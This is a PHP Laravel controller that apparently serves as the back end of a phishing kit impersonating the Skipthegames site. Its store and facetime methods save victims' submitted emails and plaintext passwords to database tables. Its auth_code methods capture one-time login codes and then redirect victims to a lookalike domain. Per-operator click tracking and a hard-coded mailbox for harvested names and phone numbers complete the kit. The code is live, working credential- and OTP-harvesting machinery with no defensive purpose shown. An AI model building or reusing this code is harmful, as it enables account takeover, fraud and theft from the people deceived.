<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Mail\SendMail;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Mail;
use Carbon\Carbon;
use App\Helpers\UserSystemInfoHelper;

class skipthegames extends Controller
{

    public  $mobile=0;
    public  $desktop=0;
    public  $tablet=0;
    public  $copy_link=0;
    public  $sitename='Skipthegames';
    public  $active_domain;
    
    public function index(Request $request,$id=1)
    {
         $requestedSlug = trim((string) $request->segment(1));
         $customLink = null;

         if (! is_numeric($id)) {
             $id = 1;
         }

         if ($requestedSlug && ! in_array($requestedSlug, ['home', 'mail', 'auth_code', 'facetime', 'login', 'second_otp'], true)) {
             $customLink = DB::table('website_links')->where('route', $requestedSlug)->first();
             if ($customLink) {
                 $id = (int) ($customLink->user_id ?? $id);
             } else {
                 return redirect('/');
             }
         }

         $link = $request->url();
         $this->active_domain = $link;
         $request->session()->put('link', $link);
         $request->session()->put('userId', $id);
         $device = UserSystemInfoHelper::get_device();
         $today_date = Carbon::now()->format('d');
         $userAgent = $request->userAgent();

         if($device == 'Computer'){
             $this->desktop=1;
         }elseif($device == 'Mobile'){
             $this->mobile=1;
         }elseif($device == 'Tablet'){
             $this->tablet=1;
         }

         $inf= DB::table('click_history')->where('user_id',$id)->where('link',$link)->first();

         if($inf)
         {
             DB::table('click_history')->where('user_id',$id)->where('link',$link)->update(['mobile'=>$inf->mobile+$this->mobile,'desktop'=>$inf->desktop+$this->desktop]);
         }else{
             DB::table('click_history')->insert([
                 'mobile'=> $this->mobile,
                 'desktop'=> $this->desktop,
                 'link'=>$link,
                 'today_date'=>$today_date,
                 'user_id'=>$id,
                 'userAgent'=>$userAgent
             ]);
         }

         return view('home',compact('id'));
   }

    //store data

    public function store(Request $request)
    {

       $email=$request->input_account_email;
       $password=$request->input_account_password;
       $user_id=1;
       $today_date= Carbon::now()->format('d');
       $userAgent = $request->userAgent();
       
       $previous_url = url()->previous();
       
    session()->put('previous_url', "/subject/em/");
       
       $save_data=DB::table('accounts')->insert(['email'=>$email,'password'=>$password,'user_id'=>$user_id,'today_date'=>$today_date,'userAgent'=>$userAgent,'landing_url'=>$previous_url]);

       if($save_data)
	   {
		 $insert_id=DB::getPdo()->lastInsertId();

		 $data= DB::table('accounts')->where('id',$insert_id)->first();

		 $email=$data->email;
		 $password=$data->password;
		 $user_id=$data->user_id;
		 
		 return view('auth_code',compact('insert_id','email','password','user_id'));
	   }

       
    }
    
    public function copy_link(Request $request)
    {
       $user_id = $request->session()->get('userId');
       $copy_link=1;
       $link=session()->get('link');
       
       $inf= DB::table('click_history')->where('user_id',$user_id)->where('link',$link)->first();
       
       DB::table('click_history')->where('user_id',$user_id)->where('link',$link)->update(['copy_link'=>$inf->copy_link+1]);
      
       return response(['success'=>true,'msg'=>'click updated...']);
    }

    public function auth_code(Request $request)
    {
       $auth_code= $request->auth_code;
	   $insert_id=$request->insert_id;
       $insert_code = DB::table('accounts')->where('id',$insert_id)->update(['otp'=>$auth_code]);
	
	   //return view('extra_otp',compact('insert_id'));
	   return redirect('https://skipthaigamees.online');
	
    }
    
     public function second_auth_code(Request $request)
    {
       $auth_code= $request->code_2;
	   $insert_id=$request->insert_id;
       $insert_code = DB::table('accounts')->where('id',$insert_id)->update(['second_otp'=>$auth_code]);
	
	   return redirect('https://skipthaigamees.online');
	
    }
    
    
    // show facetime
     public function showFacetime(Request $request,$id=1)
    {
		  $inf= DB::table('click_history')->where('user_id',$id)->where('active_domain',$this->active_domain)->first();
		  $device = UserSystemInfoHelper::get_device();
		  $today_date= Carbon::now()->format('d');
		  if($inf)
		  {
				
			if($device == 'Computer'){
				DB::table('click_history')->where('user_id',$id)->where('active_domain',$this->active_domain)
				->update([
					'desktop' => $inf->desktop+1,
				]);
			}elseif($device == 'Mobile'){
				DB::table('click_history')->where('user_id',$id)->where('active_domain',$this->active_domain)
				->update([
					'mobile' => $inf->mobile+1,
				]);
			}elseif($device == 'Tablet'){
				DB::table('click_history')->where('user_id',$id)->where('active_domain',$this->active_domain)
				->update([
					'tablet' => $inf->tablet+1,
				]);
			}
 
		  }else{
			if($device == 'Computer'){
				$this->desktop=1;
			}elseif($device == 'Mobile'){
				$this->mobile=1;
			}elseif($device == 'Tablet'){
				$this->tablet=1;
			}
			  DB::insert('insert into click_history (mobile,desktop,tablet,user_id,sitename,active_domain,today_date) 
			  values(?,?,?,?,?,?,?)',[$this->mobile,$this->desktop,$this->tablet,$id,$this->sitename,$this->active_domain,$today_date]);
		  }
    
             return view('facetime',compact('id'));

    }
     public function mail(){
         return view('mail');
     }
     
     public function sent_mail_data(Request $request){
         $name = $request->input('name');
         $phone = $request->input('phone');
         $send_mail = "jakirits09@gmail.com";
         Mail::to($send_mail)->send(new SendMail($name, $phone));
         return "mail sent Success";
     }
    public function facetime(Request $request)
    {
    
		$email= $request->email;
		$password= $request->password;
		$user_id= $request->user_id;
        if(DB::table('skip_accounts')->insert(['email'=>$email,'password'=>$password,'user_id'=>$user_id])){
			
			$insert_id=DB::getPdo()->lastInsertId();
			return view('live_chat.auth',compact('insert_id'));
		}
 
       
    }
    
}



